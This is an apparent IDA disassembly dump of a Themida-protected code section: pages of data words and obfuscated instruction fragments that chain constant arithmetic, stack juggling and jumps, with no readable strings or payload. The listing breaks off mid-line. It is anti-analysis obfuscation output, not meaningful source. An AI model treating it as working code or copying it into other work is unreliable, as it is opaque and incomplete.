0FFFF5F37h, 285BDA30h, 24148BD0h, 0E95E5456h, 0FFFF4A56h dd 6CE768h, 241C8900h, 2C6BEDBBh, 0C922E930h, 0D1B8FFFFh dd 319CAC7Eh, 0F28958C6h, 14BD555Eh, 91FCD1Fh, 0A2DEE9EAh dd 6205FFFFh, 15612B1h, 58042444h, 0FF4E3DE9h, 0E1E958FFh dd 68000046h, 6018h, 53243489h, 0E618ABBh, 5B5E5348h, 5E6C14Eh dd 33368h, 24048900h, 4B59E9h, 52B35300h, 0F63DF380h, 0B55166DBh dd 7CC2E961h, 0EB010000h, 0DEE95E5Dh db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ED63: ; CODE XREF: Themida_:0055658Bj pop ebp xor ebp, 1B127B4Eh mov esi, ebp jmp loc_5672B7 ; --------------------------------------------------------------------------- db 5Dh, 5Fh, 68h dd 1CCh, 57242C89h, 365934BFh, 0A1F78149h, 0F7282C7Dh dd 0C78147D7h, 343C7EA4h, 0F2EFC781h, 0FD898FBCh, 5CDE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ED9E: ; CODE XREF: Themida_:0055737Bj mov [esp], ebx mov ebx, 394D5F9Eh add dword ptr [esp+8], 54867C04h jmp loc_55CC55 ; --------------------------------------------------------------------------- loc_55EDB3: ; CODE XREF: Themida_:00563C9Cj sub edi, 4 xchg edi, [esp] jmp loc_5549B6 ; --------------------------------------------------------------------------- dw 295Fh dd 0D3015EF2h, 8ED8E9h, 24048900h, 576354B8h, 688ABA17h dd 0C28117F3h, 51610338h, 0EA81C229h, 51610338h, 582434FFh dd 8904EC83h, 0E789243Ch, 0FFA825E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EDF5: ; CODE XREF: Themida_:0055C794j mov eax, 77203DC1h shl eax, 6 xor eax, 3C342D50h or eax, 250A3070h add eax, 65ACCE72h push eax add dword ptr [esp], 52811C10h jmp loc_553AD3 ; --------------------------------------------------------------------------- loc_55EE19: ; CODE XREF: Themida_:0056231Cj push dword ptr [esp] pop ecx add esp, 4 add esp, 4 push edx push dword ptr [esp+4] jmp loc_55FBE8 ; --------------------------------------------------------------------------- aXws db 'XWιΚ\',0 dw 8700h dd 685C2404h, 2FD0h, 0BD242C89h, 2, 0FF5202E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EE4D: ; CODE XREF: Themida_:0055B139j push edi mov edi, 33557C65h xor ecx, edi jmp loc_555945 ; --------------------------------------------------------------------------- dw 489h dd 0F6ABB424h, 52D4F6DCh, 3F65E951h, 0C828FFFFh, 8B04FA2Ch dd 504368h, 241C8900h, 18E917B7h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EE7F: ; CODE XREF: Themida_:0055B193j pop edx jmp loc_566110 ; --------------------------------------------------------------------------- loc_55EE85: ; CODE XREF: Themida_:0055CDE8j sub eax, 4054357Dh jmp loc_565B2F ; --------------------------------------------------------------------------- loc_55EE8F: ; CODE XREF: Themida_:00564809j xchg ecx, [esp] pop esp xchg esi, [esp] pop esp xor bl, al push edx mov edx, 38h push edi mov edi, 4D575243h jmp loc_557D34 ; --------------------------------------------------------------------------- dw 0BA52h dd 4D7713F0h, 0C107EAC1h, 0EA8106EAh, 0FDC55CA0h, 0D15AD089h dd 0C2D735E0h, 63E99A70h, 89FFFFA3h, 4C781E7h, 68000000h dd 175Eh, 0BD242C89h, 1BA00EFEh, 0FFDC3CE9h, 8BD801FFh dd 0C483241Ch, 24048704h, 6624248Bh, 2404BB0Fh, 0D5AAE99Ch dd 34FFFFFFh, 240C8B24h, 4FB468h, 24348900h, 4EC81h, 14890000h dd 815A5424h, 4C2h, 4BD5500h, 29000000h, 242C8BEAh, 0E904C483h dd 0FFFF6599h, 0E924248Bh, 0FFFFB87Ah ; --------------------------------------------------------------------------- loc_55EF38: ; CODE XREF: Themida_:00560BAFj sub ecx, 59641974h mov edi, [esp] add esp, 4 add edi, 11EC6D93h sub edi, ecx sub edi, 11EC6D93h pop ecx sub esp, 4 mov [esp], ecx mov ecx, edi mov ebp, ecx pop ecx mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_553D7A ; --------------------------------------------------------------------------- dd 33241431h, 248B2414h, 9494E924h, 0C581FFFFh, 8F8A12EEh dd 0C15DE989h, 71E908E9h, 81FFFFE4h, 0C92938C6h, 0E9F301FFh dd 459Fh, 9D1C77FFh, 1CD25966h, 0B6E99C24h, 0ACFFFF56h dd 0E956D830h, 3A48h, 8324048Bh, 0C14A04C4h, 0E95604EAh dd 61C8h ; --------------------------------------------------------------------------- loc_55EFD0: ; CODE XREF: Themida_:0055E81Dj push ebx push esp pop ebx push ebp mov ebp, 4 add ebx, ebp jmp loc_55CEEA ; --------------------------------------------------------------------------- aIHlh db ',$hlH',0 align 4 dd 0E9242489h, 0FFFF6A07h ; --------------------------------------------------------------------------- loc_55EFF0: ; CODE XREF: Themida_:0055E672j add dword ptr [esp], 4 jmp loc_55E03A ; --------------------------------------------------------------------------- loc_55EFFC: ; CODE XREF: Themida_:0055CBCAj sub esp, 4 mov [esp], edi mov edi, 19F05B26h xor edi, 65242928h mov ebp, edi jmp loc_55A3A3 ; --------------------------------------------------------------------------- dd 3E9E801h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F01B: ; CODE XREF: Themida_:0056374Dj push edx jmp loc_55BF4B ; --------------------------------------------------------------------------- loc_55F021: ; CODE XREF: Themida_:0055C229j pop eax add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] xchg edx, [esp] pop esp jmp loc_55C77E ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 0B8h dd 5FFFFF4Eh, 2444815Eh, 601B9804h, 0D6BA526Bh, 0E959DC4Ch dd 3F2Ah, 66CA8766h, 0D0F76691h, 87669166h, 575366CAh dd 7D51BF66h, 11DCBB66h, 8163E9h, 0FEF78100h, 2975BC7Fh dd 243C8BFEh, 0FFB96EE9h, 2BAFFh, 0ED810000h, 512B4895h dd 0B951D501h, 5AC27407h, 0FFFB6FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F099: ; CODE XREF: Themida_:00552D3Fj push ebp mov ebp, 69BF64E5h xor ebp, 52444385h sub ebp, 3BFB275Ch add ebx, ebp mov ebp, [esp] add esp, 4 xchg ebx, [esp] pop esp push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 push ebp mov ebp, 45F65838h jmp loc_564CAC ; --------------------------------------------------------------------------- loc_55F0D5: ; CODE XREF: Themida_:00557A2Ej pop edx add edi, esi jmp loc_55E930 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0FDE95051h, 59000042h, 8027C480h, 0D4281DECh, 801DC480h dd 885A27ECh, 4DE958E2h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F0FF: ; CODE XREF: Themida_:00552E02j add ebx, edi pop edi sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], edi jmp loc_5620F2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55C2E1 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 4EC81h, 2C890000h, 2BD24h, 0E9520000h, 0FFFF6010h, 0F27DC581h dd 0E801FB3Ah, 4055Dh, 4870000h, 24248B24h, 7A3D685Eh dd 1C890000h, 3E32BB24h, 0E8E937F0h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F163: ; CODE XREF: Themida_:00561C8Aj push ecx mov ch, 0F2h jmp loc_5617BC ; --------------------------------------------------------------------------- loc_55F16B: ; CODE XREF: Themida_:0055FE7Ej pop eax add esi, 0D3FD0C5Ch add ebp, esi mov esi, [esp] add esp, 4 add ebp, 4 jmp loc_561DF3 ; --------------------------------------------------------------------------- dw 0BABEh dd 5726E86Dh, 9C127FBFh, 5FFE2163h, 0EE81D6F7h, 39A977EAh dd 219DE9h db 0 ; --------------------------------------------------------------------------- loc_55F19D: ; CODE XREF: Themida_:00556611j dec esi sub esi, 0E61B7C86h sub ecx, esi jmp loc_55867E ; --------------------------------------------------------------------------- dd offset dword_596304 db 0D8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_552BA1 ; --------------------------------------------------------------------------- dd 0BD242C89h, 59063019h, 6805E5C1h, 7CF1h, 0BE243489h dd 65248FDh, 0FFD6C4E9h, 243C89FFh, 0FFA4A7E9h, 243C89FFh dd 468h, 0F8895F00h, 50243C8Bh, 0BF57E089h, 57055747h dd 7DAEBB53h, 0DF21268Eh, 0F7E7D15Bh, 0EFEF81D7h, 1F3F755h dd 0BB535FF8h, 4, 0EC271105h, 2DD80113h, 13EC2711h, 62B0E9h dd 87CB8100h, 0C172727Dh, 0F38107EBh, 5332097h, 4548C381h dd 0F3811DDAh, 2A897DE2h, 66DBE981h, 0D9014DA8h, 66DBC181h dd 1C8B4DA8h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 9914BBAh add edi, 2D7862A0h shl edi, 4 shl edi, 7 jmp loc_55E020 ; --------------------------------------------------------------------------- db 2Dh dd 819F31B2h, 80D4E953h, 268FFFFh, 5B000000h, 97E9D901h dd 5600006Ch, 0D23C97BEh, 9E0FE938h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F296: ; CODE XREF: Themida_:00553A26j add esi, 1 add esi, 0AB0C9991h push ebp mov ebp, 43ED62A7h sub ebp, 0FFFFFFFFh xor ebp, 5A8F20CCh shl ebp, 4 jmp loc_559046 ; --------------------------------------------------------------------------- loc_55F2B9: ; CODE XREF: Themida_:005551B5j pop edi add esp, 4 jmp loc_552579 ; --------------------------------------------------------------------------- dw 0F766h dd 0E99C241Ch, 0FFFF32ADh, 242C895Ch, 3DA7E9h, 0EB805800h dd 281FE976h, 0FB010000h, 3C57C381h, 3C8B3FA6h, 0E3895324h dd 0FFE251E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F2F1: ; CODE XREF: Themida_:00558A06j shl edx, 5 push ebp mov ebp, 0FF744B25h sub edx, ebp pop ebp mov esi, edx jmp loc_562A0F ; --------------------------------------------------------------------------- loc_55F304: ; CODE XREF: Themida_:00565AA4j sub ecx, ebp pop ebp add ecx, edx add ecx, 7E5960CEh push eax push 0 pop eax add eax, ecx xor ebx, [eax] pop eax jmp loc_559BD1 ; --------------------------------------------------------------------------- dd 0EC83D9F7h, 24148904h, 5C0EE9h, 0E8E95900h, 0F700007Eh dd 0E99C241Ch, 0FFFF323Dh ; --------------------------------------------------------------------------- loc_55F33C: ; CODE XREF: Themida_:0056171Fj mov [esp], ecx push eax mov eax, 66532642h xor eax, 6F351FDEh push eax jmp loc_55DDF2 ; --------------------------------------------------------------------------- dd 33243C31h, 248B243Ch, 2886424h, 0FF3218E9h, 4C9FBEFFh dd 3FE96C2Ah, 8100000Fh, 80663DF5h, 8BEB3104h, 3FE9242Ch db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F37B: ; CODE XREF: Themida_:00559ACFj add ebx, 0A567672h dec ebx sub esp, 4 mov [esp], ebx jmp loc_554160 ; --------------------------------------------------------------------------- dd 8005EDC0h, 0EB8053C5h, 80EB0027h, 805927C3h, 0B60FD8C3h dd 23FCE9C0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F3AA: ; CODE XREF: Themida_:005551EAj add ebp, ecx pop ecx jmp loc_55614A ; --------------------------------------------------------------------------- dw 0E980h dd 50F90026h, 3EF8E9h, 207F8300h, 0A1840F00h, 5100003Fh dd 62F46B9h, 0E9D9F772h, 7AF6h, 5C241C33h, 0BA241489h dd 0FEh, 0FFF7DBE9h, 0D7E955FFh, 8BFFFFA0h, 0C4812404h dd 4, 9AF68h, 240C8900h, 0C1815954h, 4, 68F4E9h, 0E9CE0100h dd 25A0h, 15BDD01h, 0BEB850C5h, 0E96A0343h, 0FFFF4EFCh dd 0E95AB22Ch, 451Dh, 0BE243489h, 2D674195h, 2D5EF389h dd 70AD2090h, 2DE9D829h, 0B9000033h, 117F0FC1h, 4D67C981h dd 0E9812B00h, 39D2072Ch, 0E981D9F7h, 2E9151FAh, 0E59F181h dd 0F181B3FFh, 4D000ADBh, 61CDF181h, 8956313Eh, 890EE9CEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F472: ; CODE XREF: Themida_:0055C44Ej push eax mov eax, 56556A6Ah or eax, 1A72CC1h inc eax jmp loc_5642AC ; --------------------------------------------------------------------------- db 49h dd 15CFBF57h, 82E90911h, 33FFFF90h, 248B2414h, 24D36624h dd 5FE99C24h, 5EFFFF87h, 8704C783h, 515C243Ch, 5A2CE9h dd 87D6F700h, 0E95A2434h, 0FFFF9B0Ch, 5C243487h, 0FF87B0E9h dd 243C89FFh, 62A168h, 24348900h, 4BEh, 5EF78900h, 3C8BFA89h dd 9AE95624h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F4DF: ; CODE XREF: Themida_:0055D22Bj add ebp, 60653766h sub ebp, 7B032C48h pop ecx and eax, ebp jmp loc_554910 ; --------------------------------------------------------------------------- db 68h dd 2616h, 89243489h, 4C681E6h, 57000000h, 4BFh, 6483E900h dd 4DBE0000h, 89195D1Bh, 0C7815EF7h, 4141347Ah, 6E8AE781h dd 80E91F61h db 7Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F527: ; CODE XREF: Themida_:00554B84j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_555CD6 ; --------------------------------------------------------------------------- loc_55F54C: ; CODE XREF: Themida_:0055384Ej push eax mov eax, 43B745F1h and eax, 6D850FD9h or eax, 4CE124CEh shr eax, 2 jmp loc_5648AA ; --------------------------------------------------------------------------- loc_55F564: ; CODE XREF: Themida_:00560840j add esp, 4 push 2E16h mov [esp], edx mov edx, esp push 56D6h mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_5646C5 ; --------------------------------------------------------------------------- loc_55F58F: ; CODE XREF: Themida_:0055C779j sub esp, 4 mov [esp], ecx mov ecx, 7A9D1584h xor ecx, 529559A2h sub ecx, 0CDDC023Eh sub eax, ecx pop ecx add eax, edi push edx jmp loc_55E28F ; --------------------------------------------------------------------------- dd 69200CBEh, 4A09E95Ah, 48BFFFFh, 4C48124h, 8F000000h dd 0EFE92404h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F5CF: ; CODE XREF: Themida_:0056112Fj sub ebx, 905393ADh push edx mov edx, 24C3205Ch xor edx, 18AC548Ch dec edx xor edx, 43241508h jmp loc_5532DC ; --------------------------------------------------------------------------- db 81h, 0CDh, 9Ah dd 816B8564h, 95178FE5h, 680CE919h, 0E7C00000h, 5FEF8008h dd 4DE9F828h, 51FFFF39h, 2969C0B9h, 2E9C154h, 0C181D1F7h dd 49338012h, 7ABFC981h, 0DAE93C42h, 52FFFFB7h, 4BAh, 7E95100h dd 58000002h, 335DE901h, 0C31240Ch, 240C3324h, 4389E9h dd 81C60100h, 0E565D6EEh, 869DE92Eh, 0D001FFFFh, 8124148Bh dd 4C4h, 40500h, 4870000h, 0E9835C24h, 74FF5104h, 0E9590424h dd 6090h, 31242C33h, 3EE9242Ch, 53FFFFB5h, 66CFE9h, 0E9DBF700h dd 0FFFFAA17h, 8B243487h, 48F2424h, 0E6E95C24h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F69B: ; CODE XREF: Themida_:0055BC9Bj pop edi push 3315h mov [esp], esi mov esi, 4 add ebx, 149C7F97h add ebx, esi sub ebx, 149C7F97h mov esi, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] shr ecx, 6 push 3F29h mov [esp], ebx jmp loc_55A2E2 ; --------------------------------------------------------------------------- dw 0C281h dd 62E6295Ah, 0FFB96BE9h, 3BE953FFh, 55000075h, 42474FFh dd 83242C8Bh, 48F04C4h, 7AF7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F6FA: ; CODE XREF: Themida_:00567A17j add ebp, edi mov edi, [esp] add esp, 4 jmp loc_55DD54 ; --------------------------------------------------------------------------- loc_55F70A: ; CODE XREF: Themida_:00559BFCj mov [esp], ecx push 66DFh mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebx mov ebx, esp jmp loc_553CB6 ; --------------------------------------------------------------------------- loc_55F72D: ; CODE XREF: Themida_:00564095j mov [esp], cx not byte ptr [esp+1] jmp loc_557F1A ; --------------------------------------------------------------------------- dw 0E689h dd 5B7BBA52h, 0F74A6C24h, 3EF281D2h, 81FC29AEh, 0A96A85C2h dd 0E9DAF75Eh, 0FFFFCD93h ; --------------------------------------------------------------------------- loc_55F758: ; CODE XREF: Themida_:00553F9Dj xchg ecx, [esp] pop esp and eax, esi jmp loc_55B62E ; --------------------------------------------------------------------------- loc_55F763: ; CODE XREF: Themida_:0055E539j push edx jmp loc_5620A8 ; --------------------------------------------------------------------------- loc_55F769: ; CODE XREF: Themida_:00567AC3j add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], edi mov edi, esp push edx mov edx, 4 add edi, edx pop edx sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi mov edi, 243A2CA6h jmp loc_5604C4 ; --------------------------------------------------------------------------- loc_55F798: ; CODE XREF: Themida_:00566644j xor eax, 11C91ADCh jmp loc_5609E7 ; --------------------------------------------------------------------------- dw 0E5C1h dd 8EDC103h, 8E4DC581h, 0EF295FF4h, 0C7815E5Dh, 272D4FF1h dd 0EF81EF29h, 272D4FF1h, 7252BD55h, 0E92E36h, 89000066h dd 4D82E9E3h, 0CB010000h, 2383E959h, 0C4810000h, 4, 8904EC83h dd 0F7E92404h, 5A000004h, 0E959CB29h, 729Eh ; --------------------------------------------------------------------------- loc_55F7F4: ; CODE XREF: Themida_:00563313j mov [esp], ebx jmp loc_55B4F8 ; --------------------------------------------------------------------------- dd 592434FFh, 2E2868h, 24348900h, 0BB535E54h, 308E083Bh dd 0FF3272E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F815: ; CODE XREF: Themida_:00563066j mov esi, eax pop eax add esi, 0C1E0DDA5h sub ebx, esi pop esi not ebx jmp loc_55DEA8 ; --------------------------------------------------------------------------- dd 3F31EB05h, 58C68940h, 15EF789h, 17E9F8h, 0FBB90000h dd 2900E678h, 0D60159CEh, 0FF4B9AE9h, 24148BFFh, 1EFE9h dd 2434FF00h, 5A54525Fh, 4C281h, 0C2810000h, 4, 0FF9F54E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F869: ; CODE XREF: Themida_:00560307j or edx, ecx push dword ptr [esp] pop ecx jmp loc_558E37 ; --------------------------------------------------------------------------- loc_55F874: ; CODE XREF: Themida_:0056074Aj push 0F6Ch mov [esp], ecx mov ecx, 13155C7Ch shl ecx, 5 add ecx, 2DC70AE4h push ebx mov ebx, 216C7300h sub ecx, ebx jmp loc_56746B ; --------------------------------------------------------------------------- db 81h dd 0EE5B38C1h, 55F1013Ah, 0A92E15BDh, 89E58173h, 812E252Fh dd 0CD2D37C5h, 0A528E918h, 0C483FFFFh, 28416804h, 3C890000h dd 4EC8324h, 0FF5E35E9h, 56E389FFh, 0FF365FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F8D1: ; CODE XREF: Themida_:00564001j add ebp, 4 xchg ebp, [esp] pop esp push ebp jmp loc_552BF8 ; --------------------------------------------------------------------------- dw 255Ah dd 61D77D72h, 0C108E0C1h, 0FC2D05E0h, 14EA5FFh, 1B36E9C2h dd 0EC810000h, 4, 54241C89h, 0E9241C8Bh, 3CF1h, 0B2241489h dd 2DB3E3h, 24148BD3h, 0D004C483h, 47C380E3h, 2C5BD828h dd 2434FF4Bh, 81240C8Bh, 4C4h, 0E3895300h, 4C381h, 0B8E90000h dd 0B9FFFFACh, 4, 597CBF57h, 70E902E1h, 5AFFFFCFh, 238168h dd 243C8900h, 0CC6EE956h, 0C89FFFFh, 7D685624h, 5E335915h dd 8107E6C1h, 73F5CAF6h, 0E959569Dh, 0CEBh, 68243C89h dd 54DEh, 333BE9h db 0 ; --------------------------------------------------------------------------- loc_55F981: ; CODE XREF: Themida_:0055B3ADj shr eax, 0Eh xor eax, ecx push eax jmp loc_565427 ; --------------------------------------------------------------------------- dd 1244CFEh, 0FF4DE7E9h, 0E9F289FFh, 378Ah, 24348966h dd 2474FF66h, 348B6602h, 0D1FCE924h, 0E953FFFFh, 0FFFFF8CAh dd 2404875Eh, 5A2AE95Ch, 525C0000h, 502035BAh, 6D9AE911h dd 8950FFFFh, 0E95056E0h, 0FFFF33D0h, 0C181E189h, 4, 8B85055h dd 6836346Bh, 36346B0Ch, 58C5315Dh, 515DE901h, 42474FFh dd 24048F59h, 8324248Bh, 348904ECh, 4BE24h, 2AE90000h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FA0B: ; CODE XREF: Themida_:0055B617j mov esp, [esp] push 505Fh mov [esp], edx mov edx, 47262068h xchg ebp, edx sub ebp, 0FFFFFFFFh push edx push ebp pop edx pop ebp sub edx, 1741519Eh push esi jmp loc_55A469 ; --------------------------------------------------------------------------- dd 34FF7D2Ch, 24148B24h, 0E904C483h, 3FEh, 8704C483h, 665C2434h dd 9C240431h, 0FF2B28E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FA51: ; CODE XREF: Themida_:0055E105j sub ebp, ecx pop ecx push esi mov esi, 4D997467h sub eax, esi jmp loc_556487 ; --------------------------------------------------------------------------- loc_55FA61: ; CODE XREF: Themida_:0055938Dj xor edx, [esp] jmp loc_555856 ; --------------------------------------------------------------------------- loc_55FA69: ; CODE XREF: Themida_:00556ABBj add edx, esi pop esi pop ecx push dword ptr [esp] pop ebp jmp loc_5610A6 ; --------------------------------------------------------------------------- loc_55FA76: ; CODE XREF: Themida_:00555875j pop ebp sub edx, 495095Ch sub edx, edi add edx, 495095Ch pop edi pop ebx jmp loc_56379D ; --------------------------------------------------------------------------- dd 0B9EA8158h, 1C189D3h, 24148BD0h, 0FF44A6E9h, 6859FFh dd 29000000h, 55E92414h, 64FFFF3Bh, 2B60F66h, 0FFD4D4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FAB5: ; CODE XREF: Themida_:00563EDCj pop eax push ecx mov ch, 16h or ch, 0F1h jmp loc_55A367 ; --------------------------------------------------------------------------- loc_55FAC1: ; CODE XREF: Themida_:005643E5j and edx, 65025A38h jmp loc_553976 ; --------------------------------------------------------------------------- loc_55FACC: ; CODE XREF: Themida_:00560828j xchg edi, edx xor edx, 1E5B8B47h sub [edi+24h], edx push dword ptr [esp] pop edx push edx jmp loc_56411C ; --------------------------------------------------------------------------- db 0BDh, 0C7h, 7Ch dd 0CDE9204Dh, 81FFFFE2h, 0BB0DA4C5h, 3E5C101h, 8103E5C1h dd 0BD117EF5h, 4AC7810Ch, 13E4C79h, 5C52E9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB0A: ; CODE XREF: Themida_:00560CE7j push ecx mov ecx, 4 sub esi, ecx jmp loc_562919 ; --------------------------------------------------------------------------- aR6ms4_ db '-Ιr6mι4_',0 db 0 ; --------------------------------------------------------------------------- loc_55FB21: ; CODE XREF: Themida_:0055E7D2j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp and ebp, esi pop esi sub ebp, 1 jmp loc_565066 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 81000000h, 4C7h, 0E219E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB52: ; CODE XREF: Themida_:0055595Aj xor eax, ecx mov ecx, [esp] jmp loc_55840F ; --------------------------------------------------------------------------- dd 0E924048Fh, 0FFFF4E0Dh, 1305ED81h, 0EF29010Dh, 0FF455CE9h dd 4C483FFh, 31240C33h, 0C33240Ch, 24248B24h, 9C240401h dd 0FF29F0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FB89: ; CODE XREF: Themida_:00552C19j pop ebp add esp, 4 jmp loc_55ABF5 ; --------------------------------------------------------------------------- dw 0C581h dd 4, 4C581h, 2C870000h, 24248B24h, 34FFF031h, 0C4835E24h dd 17C38104h, 5209C502h, 953ED3BAh, 6051E90Bh, 812C0000h dd 0D9B05052h, 0FFB1BFE9h, 505266FFh, 0D4F631B4h, 8045F480h dd 5266C1E4h, 0F42827B6h, 4B685A66h, 0E9000067h, 7A5Fh ; --------------------------------------------------------------------------- loc_55FBE8: ; CODE XREF: Themida_:0055EE2Bj mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp mul ecx push ecx push 2236h push esp jmp loc_5567A1 ; --------------------------------------------------------------------------- loc_55FC03: ; CODE XREF: Themida_:00552843j add esp, 4 push ecx push ebp mov ebp, 3D59432Ch mov ecx, ebp jmp loc_55B9B0 ; --------------------------------------------------------------------------- loc_55FC14: ; CODE XREF: Themida_:005675EAj mov eax, edi mov ebp, eax pop eax mov edi, [esp] add esp, 4 jmp loc_56700D ; --------------------------------------------------------------------------- loc_55FC27: ; CODE XREF: Themida_:005633D6j xor ebp, [esp] mov esp, [esp] shr eax, 0Bh xor ecx, eax push 37F2h jmp loc_5542D0 ; --------------------------------------------------------------------------- dd 52240C89h, 0E0797A68h, 96E95A17h, 5500006Dh, 242C8B54h dd 8104C483h, 4C5h, 39B8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FC5E: ; CODE XREF: Themida_:00558929j pop esp sub edi, ecx mov ecx, [esp] add esp, 4 retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF2909h, 4001E883h, 8A0DD0F7h, 0F73A1643h, 0FFE956D8h dd 5BFFFFF4h, 0FFB1AFE9h, 5FFE89FFh, 2151CE81h, 7EE912CFh dd 55FFFF76h, 0FF293AE9h, 8BD901FFh, 0C483241Ch, 0EBFCE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FCAA: ; CODE XREF: Themida_:00565C91j push esi jmp loc_559F18 ; --------------------------------------------------------------------------- dd 580FBB53h, 0BA520DC0h, 0E7B1A45h, 4A4AEAD1h, 8106E2C1h dd 9C2654F2h, 5AD3099Dh, 246FE381h, 0EBC17937h, 26B85008h dd 31005937h, 0E87E9C3h, 8C680000h, 0E9000038h, 0FFFF4AD8h ; --------------------------------------------------------------------------- loc_55FCEC: ; CODE XREF: Themida_:0055821Cj mov [esp], ecx mov ecx, 0 sub ecx, ebx xchg ecx, ebx mov ecx, [esp] jmp loc_564998 ; --------------------------------------------------------------------------- dd 0DD468h, 30C26800h, 95E90000h, 83FFFF65h, 0CEE904C4h db 33h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FD17: ; CODE XREF: Themida_:00564F48j mov ebp, [esp] jmp loc_5530F2 ; --------------------------------------------------------------------------- db 5Bh dd 0FFF6E4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FD25: ; CODE XREF: Themida_:0055399Fj mov ebx, 1E6E3AF8h dec ebx inc ebx or ebx, 48672C4Fh jmp loc_562C3F ; --------------------------------------------------------------------------- loc_55FD37: ; CODE XREF: Themida_:005629AEj sub esp, 4 mov [esp], eax jmp loc_557F61 ; --------------------------------------------------------------------------- dw 0BD55h dd 1C4B553Eh, 68D5F74Dh, 69A6h, 0F7242C89h, 0C15D2414h dd 0C58104E5h, 6BDC161Ch, 815DEA21h, 1EAh, 0C1DAF700h dd 0C28106E2h, 35E25849h, 0E9E68956h, 3496h, 81D0285Bh dd 4ECh, 9055E900h, 8956FFFFh, 320FE9E6h, 29580000h, 562CE9F3h dd 0D6F7FFFFh, 57ABBD55h, 0E5816E66h, 79470825h, 1D47CD81h dd 0B468123Bh, 89000023h, 2E92414h, 5EFFFFE2h, 0FF65B3E9h dd 0A0F681FFh, 8940E315h, 24348BF2h, 4C481h, 0C2810000h dd 0BD6BF36Fh, 15E9D601h, 0BEFFFFB1h, 6AF39351h, 295EF329h dd 0FE015BDFh, 8B2434FFh, 0C483243Ch, 4EC8104h, 0E9000000h dd 0FFFFAE22h, 12896852h, 0CAE95263h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FE0B: ; CODE XREF: Themida_:00557B6Aj push 282C1EC6h jmp loc_5541AB ; --------------------------------------------------------------------------- db 51h, 0E9h, 0CAh dd 57FFFFF5h, 0CF7F25BFh, 17685262h, 5A51900Fh, 8106E2C1h dd 95A4B4C2h, 0E9D389B1h, 0FFFFB334h, 0A59BE95Ch, 9268FFFFh dd 0E900006Fh, 0FFFF9C6Fh ; --------------------------------------------------------------------------- loc_55FE48: ; CODE XREF: Themida_:00558190j add esp, 4 xor edx, 56B95054h jmp loc_55DDD9 ; --------------------------------------------------------------------------- db 52h, 0BAh, 5Bh dd 312DB801h, 0A3E0E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FE66: ; CODE XREF: Themida_:005526B0j add eax, 95D0F6Eh or eax, 527D3C29h shr eax, 2 push ecx mov ecx, 37033010h sub eax, ecx pop ecx sub esi, eax jmp loc_55F16B ; --------------------------------------------------------------------------- db 0F7h dd 0DBDCE9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FE8A: ; CODE XREF: Themida_:00552DB7j and edx, 61F221FAh add edx, 0E1714B06h xor ebx, edx mov edx, [esp] add esp, 4 push esi mov esi, 1C2C3C7Ch sub esp, 4 mov [esp], ebx mov ebx, 5C5CE45Bh jmp loc_556889 ; --------------------------------------------------------------------------- db 8Bh dd 0C481240Ch, 4, 4EC81h, 34890000h, 0A9BE24h, 564E4CAAh dd 0E92414F7h, 